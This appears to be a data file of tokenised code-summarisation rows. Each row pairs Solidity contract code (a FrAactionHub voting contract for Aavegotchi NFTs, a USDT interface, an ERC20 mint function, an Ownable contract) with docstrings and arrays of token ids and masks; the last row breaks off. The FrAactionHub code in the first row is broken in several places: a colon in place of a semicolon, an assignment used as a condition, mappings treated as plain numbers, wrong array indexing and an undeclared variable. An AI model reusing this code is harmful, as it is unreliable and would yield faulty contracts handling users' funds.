function voteForOpenPortal(uint256 _tokenId) external {
require(
initialized == true,
"voteForOpenPortal: cannot vote if an auction is ended"
);
require(
balanceOf(msg.sender) > 0,
"voteForOpenPortal: user not an owner of the NFT"
);
require(
finalAuctionStatus == FinalAuctionStatus.INACTIVE,
"voteForOpenPortal: auction live cannot update price"
);
AavegotchiInfo memory gotchi = getAavegotchi(_tokenId);
require(
gotchi.status == 0,
"voteForOpenPortal: portal already open"
);
if (votersOpen[msg.sender][_tokenId] == true) {
votesTotalOpen[_tokenId] -= currentOpenBalance[msg.sender][_tokenId];
} else {
votersOpen[msg.sender][_tokenId] = true;
}
votesTotalOpen[_tokenId] += balanceOf(msg.sender);
currentOpenBalance[msg.sender][_tokenId] = balanceOf(msg.sender);
if (votesTotalOpen[_tokenId] * 1000 >= ISettings(settingsContract).minOpenVotePercentage() * totalSupply()) {
DiamondInterface(diamondContract).openPortals(_tokenId);
emit OpenPortal(_tokenId);
assets[tokenIdToAssetIndex[_tokenId]].category = 1;
votesTotalOpen[_tokenId] = 0;
}
}
/// @notice vote for an Aavegotchi to be summoned
function voteForAavegotchi(uint256 _tokenId, uint256 _option) external {
AavegotchiInfo memory gotchi = getAavegotchi(_tokenId);
require(
gotchi.status == 2,
"voteForAavegotchi: portal not open yet or Aavegotchi already summoned"
);
require(_option < 10,
"voteForAavegotchi: only 10 options available"
);
require(balanceOf(msg.sender) > 0,
"voteForAavegotchi: only owners can vote"
);
require(
finalAuctionStatus == FinalAuctionStatus.INACTIVE,
"voteForAavegotchi: auction live cannot update price"
);
if (votersAavegotchi[msg.sender][_tokenId] == true) {
votesAavegotchi[_tokenId][currentAavegotchiVote[msg.sender][_tokenId]] -= currentAavegotchiBalance[msg.sender][_tokenId];
votesTotalAavegotchi -= currentAavegotchiBalance[msg.sender][_tokenId];
} else {
votersAavegotchi[msg.sender][_tokenId] = true;
}
if (votesAavegotchi[_tokenId][_option] == 0) votedAavegotchi[_tokenId].push(_option);
votesAavegotchi[_tokenId][_option] += balanceOf(msg.sender);
votesTotalAavegotchi[_tokenId] += balanceOf(msg.sender);
currentAavegotchiVote[msg.sender][_tokenId] = _option;
currentAavegotchiBalance[msg.sender][_tokenId] = balanceOf(msg.sender);
uint256 winner;
uint256 result;
if (votesTotalAavegotchi[_tokenId] * 1000 >= ISettings(settingsContract).minAavegotchiVotePercentage() * totalSupply()) {
for (uint i = 0; i < votedAavegotchi[_tokenId].length; i++) {
if (votesAavegotchi[_tokenId][votedAavegotchi[_tokenId][i]] > result) {
result = votesAavegotchi[_tokenId][votedAavegotchi[i]];
winner = votedAavegotchi[_tokenId][i];
}
votesAavegotchi[_tokenId][votedAavegotchi[_tokenId][i]] = 0;
}
aavegotchi[_tokenId] = winner;
PortalAavegotchiTraitsIO[] memory portalInfo = DiamondInterface(diamondContract).portalAavegotchiTraits(_tokenId);
address collateral = portalInfo[_option].collateral;
DiamondInterface(collateral).approve(diamondContract, MAX_INT);
emit AppointedAavegotchi(_tokenId, aavegotchi[_tokenId]);
delete votedAavegotchi[_tokenId];
votesTotalAavegotchi[_tokenId] = 0;
}
}
/// @notice vote for naming an Aavegotchi
function voteForName(uint256 _tokenId, string calldata _name) external {
require(balanceOf(msg.sender) > 0,
"voteForName: only owners can vote"
);
AavegotchiInfo memory gotchi = getAavegotchi(_tokenId);
require(
gotchi.status == 3,
"voteForName: Aavegotchi not summoned yet"
);
require(DiamondInterface(diamondContract).aavegotchiNameAvailable(_name),
"voteForName: Aavegotchi name not available"
);
if (nameNumber[_tokenId] != nameCurrentNumber[msg.sender][_tokenId]) {
votersName[msg.sender][_tokenId] = 0;
currentNameVote[msg.sender][_tokenId] = 0;
currentNameBalance[msg.sender][_tokenId] = 0;
}
if (votersName[msg.sender][_tokenId] == true) {
votesName[_tokenId][currentNameVote[msg.sender][_tokenId]] -= currentNameBalance[msg.sender][_tokenId];
votesTotalName -= currentNameBalance[msg.sender][_tokenId];
} else {
votersName[msg.sender][_tokenId] = true;
}
if (votesName[_tokenId][_name] == 0) votedName[_tokenId].push(_name);
votesName[_tokenId][_name] += balanceOf(msg.sender);
votesTotalName[_tokenId] += balanceOf(msg.sender);
currentNameVote[msg.sender][_tokenId] = _name;
currentNameBalance[msg.sender][_tokenId] = balanceOf(msg.sender);
if (nameNumber[_tokenId] != nameCurrentNumber[msg.sender][_tokenId])
nameCurrentNumber[msg.sender][_tokenId] = nameNumber[_tokenId];
string memory winner;
uint256 result;
if (votesTotalName[_tokenId] * 1000 >= ISettings(settingsContract).minNameVotePercentage() * totalSupply()) {
for (uint i = 0; i < votedName[_tokenId].length; i++) {
if (votesName[_tokenId][votedName[_tokenId][i]] > result) {
result = votesName[_tokenId][votedName[i]];
winner = votedName[_tokenId][i];
}
votesName[_tokenId][votedName[_tokenId][i]] = 0;
votedName[_tokenId][i] = 0;
}
name[_tokenId] = winner;
DiamondInterface(diamondContract).setAavegotchiName(_tokenId, name[_tokenId]);
emit Named(_tokenId, name[_tokenId]);
votesTotalName[_tokenId] = 0;
nameNumber[_tokenId]++:
}
}
/// @notice vote for spending available skill points on an Aavegotchi
function voteForSkills(uint256 _tokenId, int16[4] calldata _values) external {
require(balanceOf(msg.sender) > 0,
"voteForSkills: only owners can vote"
);
require(
finalAuctionStatus == FinalAuctionStatus.INACTIVE,
"voteForSkills: auction live cannot update price"
);
uint256 total;
for (uint i = 0; i < _values.length; i++) {
if (_values[i] < 0) {
total += -(_values[i]);
} else {
total += _values[i];
}
}
require(total > 0,
"voteForSkills: must allocate at least 1 skill point"
);
require(DiamondInterface(diamondContract).availableSkillPoints(_tokenId) > total,
"voteForSkills: not enough available skill points"
);
if (skillNumber[_tokenId] != skillCurrentNumber[msg.sender][_tokenId]) {
votersSkill[msg.sender][_tokenId] = 0;
currentSkillBalance[msg.sender][_tokenId] = 0;
}
if (votersSkill[msg.sender][_tokenId] == true) {
votesSkill[_tokenId][currentSkillVote[msg.sender][_tokenId]] -= currentSkillBalance[msg.sender][_tokenId];
votesTotalSkill -= currentSkillBalance[msg.sender][_tokenId];
} else {
votersSkill[msg.sender][_tokenId] = true;
}
uint256 counter;
if (skillVoting[_tokenId] == false) {
votedSkill[_tokenId].push(_values);
votesSkill[_tokenId][0] += balanceOf(msg.sender);
currentSkillVote[msg.sender][_tokenId] = 0;
skillVoting[_tokenId] = true;
} else if (skillVoting == true) {
for (uint i = 0; i < votedSkill.length; i++) {
for (uint j = 0; j < _values.length; j++) {
if (votedSkill[i][j] == _values[j]) counter++;
}
if (counter == 4) {
votesSkill[_tokenId][i] += balanceOf(msg.sender);
currentSkillVote[msg.sender][_tokenId] = i;
break;
}
}
} else if (counter != 4) {
votedSkill[_tokenId].push(_values);
skillIndex++;
votesSkill[_tokenId][skillIndex] += balanceOf(msg.sender);
currentSkillVote[msg.sender][_tokenId] = skillIndex;
}
votesTotalSkill[_tokenId] += balanceOf(msg.sender);
currentSkillBalance[msg.sender][_tokenId] = balanceOf(msg.sender);
if (skillNumber[_tokenId] != skillCurrentNumber[msg.sender][_tokenId])
skillCurrentNumber[msg.sender][_tokenId] = skillNumber[_tokenId];
uint256 winner;
uint256 result;
if (votesTotalSkill[_tokenId] * 1000 >= ISettings(settingsContract).minSkillVotePercentage() * totalSupply()) {
for (uint i = 0; i < votedSkill[_tokenId].length; i++) {
if (votesSkill[_tokenId][i] > result) {
result = votesSkill[_tokenId][i];
winner = i;
}
votesSkill[_tokenId][i] = 0;
}
DiamondInterface(diamondContract).spendSkillPoints(_tokenId, votedSkill[_tokenId][winner]);
emit SkilledUp(_tokenId, votedSkill[_tokenId][winner]);
delete votedSkill[_tokenId];
skillNumber[_tokenId]++;
votesTotalSkill[_tokenId] = 0;
}
}
/// @notice vote for equipping an Aavegotchi with the selected items in the parameter _wearablesToEquip
function equipWearables(uint256 _tokenId, int16[16] calldata _wearablesToEquip) external {
require(balanceOf(msg.sender) > 0,
"equipWearables: only owners can use this function"
);
require(
auctionStatus == AuctionStatus.INACTIVE,
"equipWearables: auction live cannot equipe wearables"
);
if (fundingStatus = FundingStatus.SUBMITTED) {
require(
_tokenId != listingId,
"equipWearables: cannot equip a type of item being purchased"
);
}
DiamondInterface(diamondContract).equipWearables(_tokenId, _wearablesToEquip);
emit Equipped(_tokenId, _values);
}
/// @notice vote for using consumables on one or several Aavegotchis
function useConsumables(
uint256 _tokenId,
uint256[] calldata _itemIds,
uint256[] calldata _quantities
) external {
require(balanceOf(msg.sender) > 0,
"useConsumables: only owners can use this function"
);
require(
finalAuctionStatus == FinalAuctionStatus.INACTIVE,
"useConsumables: auction live cannot use consumables"
);
DiamondInterface(diamondContract).useConsumables(_tokenId, _itemIds, _quantities);
emit ConsumablesUsed(_tokenId, _itemIds, _quantities);
}
/// @notice vote for and appoint a new Player to play with the FrAactionHub's Aavegotchi(s) on behalf of the other owners
function voteForPlayer(address _player) external {
require(
balanceOf(_player) > 0,
"voteForPlayer: player not an owner of the FrAactionHub"
);
require(
finalAuctionStatus != FinalAuctionStatus.ENDED,
"voteForPlayer: cannot vote if an auction is ended"
);
require(
initialized == true,
"voteForPlayer: FrAactionHub not fractionalized yet"
);
require(
balanceOf(msg.sender) > 0,
"voteForPlayer: user not an owner of the NFT"
);
require(
gameType == 0, // 0 is for Delegated FrAactionHub, 1 for Collective FrAactionHub
"voteForPlayer: this FrAactionHub was set as Collective by its creator"
);
if (playerNumber != playerCurrentNumber[msg.sender]) {
votersPlayer[msg.sender] = 0;
currentPlayerVote[msg.sender] = 0;
currentPlayerBalance[msg.sender] = 0;
}
if (votersPlayer[msg.sender] == true) {
votesPlayer[currentPlayerVote[msg.sender]] -= currentPlayerBalance[msg.sender];
votesTotalPlayer -= currentPlayerBalance[msg.sender];
} else {
votersPlayer[msg.sender] = true;
}
votesPlayer[_player] += balanceOf(msg.sender);
votesTotalPlayer += balanceOf(msg.sender);
currentPlayerVote[msg.sender] = _player;
currentPlayerBalance[msg.sender] = balanceOf(msg.sender);
if (playerNumber != playerCurrentNumber[msg.sender]) playerCurrentNumber[msg.sender] = playerNumber;
address winner;
uint256 result;
if (votesTotalPlayer * 1000 >= ISettings(settingsContract).minPlayerVotePercentage() * totalSupply()) {
for (uint i = 0; i < ownersAddress.length; i++) {
if (votesPlayer[ownersAddress[i]] > result) {
result = votesPlayer[ownersAddress[i]];
winner = ownersAddress[i];
}
if (votesPlayer[ownersAddress[i]] != 0) votesPlayer[ownersAddress[i]] = 0;
}
player = winner;
playerNumber++;
votesTotalPlayer = 0;
DiamondInterface(diamondContract).setApprovalForAll(player, true);
emit AppointedPlayer(player);
}
}
function voteForDestruction(uint256 _tokenId, uint256 _xpToId) external {
require(balanceOf(msg.sender) > 0,
"voteForDestruction: only owners can vote"
);
require(
finalAuctionStatus == FinalAuctionStatus.INACTIVE,
"voteForDestruction: auction live cannot update price"
);
if (destroyNumber[_tokenId] != destroyCurrentNumber[msg.sender][_tokenId]) {
votersDestroy[msg.sender][_tokenId] = 0;
currentDestroyBalance[msg.sender][_tokenId] = 0;
}
if (votersDestroy[msg.sender][_tokenId] == true) {
votesTotalDestroy[_tokenId] -= currentDestroyBalance[msg.sender][_tokenId];
} else {
votersDestroy[msg.sender][_tokenId] = true;
}
votesTotalDestroy[_tokenId] += balanceOf(msg.sender);
currentDestroyBalance[msg.sender][_tokenId] = balanceOf(msg.sender);
if (xpToId[_tokenId] == 0) xpToId[tokenId] = _xpToId;
if (destroyNumber[_tokenId] != destroyCurrentNumber[msg.sender][_tokenId])
destroyCurrentNumber[msg.sender][_tokenId] = destroyNumber[_tokenId];
if (votesTotalDestroy[_tokenId] * 1000 >= ISettings(settingsContract).minDestroyVotePercentage() * totalSupply()) {
address collateral = DiamondInterface(diamondContract).collateralBalance(_tokenId).collateralType_;
uint256 balance = DiamondInterface(diamondContract).collateralBalance(_tokenId).balance_;
(bool success, bytes memory returnData) =
diamondContract.call(
abi.encodeWithSignature("decreaseAndDestroy(uint256,uint256)",
_tokenId,
xpToId
)
);
require(
success,
string(
abi.encodePacked(
"voteForDestruction: staking order failed: ",
returnData
)
)
);
redeemedCollateral[collateral].push(balance);
if (collateralToRedeem[collateral] == 0) {
collateralToRedeem[collateral] = true;
collateralAvailable.push(collateral);
}
emit Destroy(_tokenId);
destroyNumber[_tokenId]++;
votesTotalDestroy[_tokenId] = 0;
}
}
/// @notice an internal function used to register receiver previous FractionHub token balance, to be used in the _afterTokenTransfer function
/// @param _from the ERC20 token sender
/// @param _to the ERC20 token receiver
/// @param _amount the ERC20 token amount
function _beforeTokenTransfer(address _from, address _to, uint256 _amount) internal virtual override {
require (split != 7 && split != 8,
"beforeTokenTransfer: cannot transfer because ownership transfer or claimAll ongoing"
);
beforeTransferToBalance = balanceOf(_to);
}
/// @notice an internal function used to update the ownership register and update sender and receivers price after each FractionHub token transfer
/// @param _from the ERC20 token sender
/// @param _to the ERC20 token receiver
/// @param _amount the ERC20 token amount
function _afterTokenTransfer(address _from, address _to, uint256 _amount) internal virtual override {
address replace;
if (balanceOf(_from) == 0) {
if (beforeTransferToBalance == 0) {
replace = ownersAddress[ownersAddress.length - 1];
ownersAddress[ownerAddressIndex[_from]] = replace;
ownersAddress.pop();
ownerAddressIndex[replace] = ownerAddressIndex[_from];
delete ownerAddressIndex[_from];
} else {
ownersAddress[ownerAddressIndex[_from]] = _to;
ownerAddressIndex[_to] = ownerAddressIndex[_from];
delete ownerAddressIndex[_from];
}
}
if (balanceOf(_from) != 0 && beforeTransferToBalance == 0) {
ownersAddress.push(_to);
}
if (_from != address(0)) {
uint256 fromPrice = userPrices[_from];
uint256 toPrice = userPrices[_to];
// only do something if users have different reserve price
if (toPrice != fromPrice) {
// new holder is not a voter
if (toPrice == 0) {
// removing old holder's reserve price
votingTokens -= _amount;
reserveTotal -= _amount * fromPrice;
}
// old holder is not a voter
else if (fromPrice == 0) {
votingTokens += _amount;
reserveTotal += _amount * toPrice;
}
// both holders are voters
else {
reserveTotal = reserveTotal + (_amount * toPrice) - (_amount * fromPrice);
}
}
}
}
} | FrAactionDAOMultisig address | address public fraactionDaoMultisig;
| 5,359,623 | [
1,
7167,
37,
1128,
9793,
1872,
406,
291,
360,
1758,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
1758,
1071,
284,
354,
1128,
11412,
5049,
291,
360,
31,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/1/0x1863B0c9F63e686A3E7928a21b527C7b3CEd5895/sources/bsb2.sol | USDT is not ERC-20 compliant, not returning true on transfers | interface IUsdt {
function transfer(address, uint256) external;
function transferFrom(
address,
address,
uint256
) external;
}
| 3,173,697 | [
1,
3378,
9081,
353,
486,
4232,
39,
17,
3462,
24820,
16,
486,
5785,
638,
603,
29375,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
5831,
467,
3477,
7510,
288,
203,
565,
445,
7412,
12,
2867,
16,
2254,
5034,
13,
3903,
31,
203,
203,
565,
445,
7412,
1265,
12,
203,
3639,
1758,
16,
203,
3639,
1758,
16,
203,
3639,
2254,
5034,
203,
565,
262,
3903,
31,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/1313161554/0x525824D65EF23d597791F279fb8f49752dBFfaCe/sources/contracts/tokens/VeERC20Upgradeable.sol | * @dev Creates `amount` tokens and assigns them to `account`, increasing the total supply. Emits a {Transfer} event with `from` set to the zero address. Requirements: - `account` cannot be the zero address./ | function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Mint(account, amount);
_afterTokenOperation(account, _balances[account]);
}
| 13,233,973 | [
1,
2729,
1375,
8949,
68,
2430,
471,
22698,
2182,
358,
1375,
4631,
9191,
21006,
326,
2078,
14467,
18,
7377,
1282,
279,
288,
5912,
97,
871,
598,
1375,
2080,
68,
444,
358,
326,
3634,
1758,
18,
29076,
30,
300,
1375,
4631,
68,
2780,
506,
326,
3634,
1758,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
389,
81,
474,
12,
2867,
2236,
16,
2254,
5034,
3844,
13,
2713,
5024,
288,
203,
3639,
2583,
12,
4631,
480,
1758,
12,
20,
3631,
315,
654,
39,
3462,
30,
312,
474,
358,
326,
3634,
1758,
8863,
203,
203,
3639,
389,
5771,
1345,
5912,
12,
2867,
12,
20,
3631,
2236,
16,
3844,
1769,
203,
203,
3639,
389,
4963,
3088,
1283,
1011,
3844,
31,
203,
3639,
389,
70,
26488,
63,
4631,
65,
1011,
3844,
31,
203,
3639,
3626,
490,
474,
12,
4631,
16,
3844,
1769,
203,
203,
3639,
389,
5205,
1345,
2988,
12,
4631,
16,
389,
70,
26488,
63,
4631,
19226,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./partial_match/1/0x3F5014e49E03D4444483662Cc70618CD8087f9d2/sources/FnxVote.sol | * @dev Contract module which provides a basic access control mechanism, where there is an account (an owner) that can be granted exclusive access to specific functions. This module is used through inheritance. It will make available the modifier `onlyOwner`, which can be applied to your functions to restrict their use to the owner./ | contract Ownable {
address internal _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
}
constructor() internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
| 2,614,722 | [
1,
8924,
1605,
1492,
8121,
279,
5337,
2006,
3325,
12860,
16,
1625,
1915,
353,
392,
2236,
261,
304,
3410,
13,
716,
848,
506,
17578,
12060,
2006,
358,
2923,
4186,
18,
1220,
1605,
353,
1399,
3059,
16334,
18,
2597,
903,
1221,
2319,
326,
9606,
1375,
3700,
5541,
9191,
1492,
848,
506,
6754,
358,
3433,
4186,
358,
13108,
3675,
999,
358,
326,
3410,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
16351,
14223,
6914,
288,
203,
565,
1758,
2713,
389,
8443,
31,
203,
203,
565,
871,
14223,
9646,
5310,
1429,
4193,
12,
2867,
8808,
2416,
5541,
16,
1758,
8808,
394,
5541,
1769,
203,
203,
97,
203,
565,
3885,
1435,
2713,
288,
203,
3639,
389,
8443,
273,
1234,
18,
15330,
31,
203,
3639,
3626,
14223,
9646,
5310,
1429,
4193,
12,
2867,
12,
20,
3631,
389,
8443,
1769,
203,
565,
289,
203,
203,
565,
445,
3410,
1435,
1071,
1476,
1135,
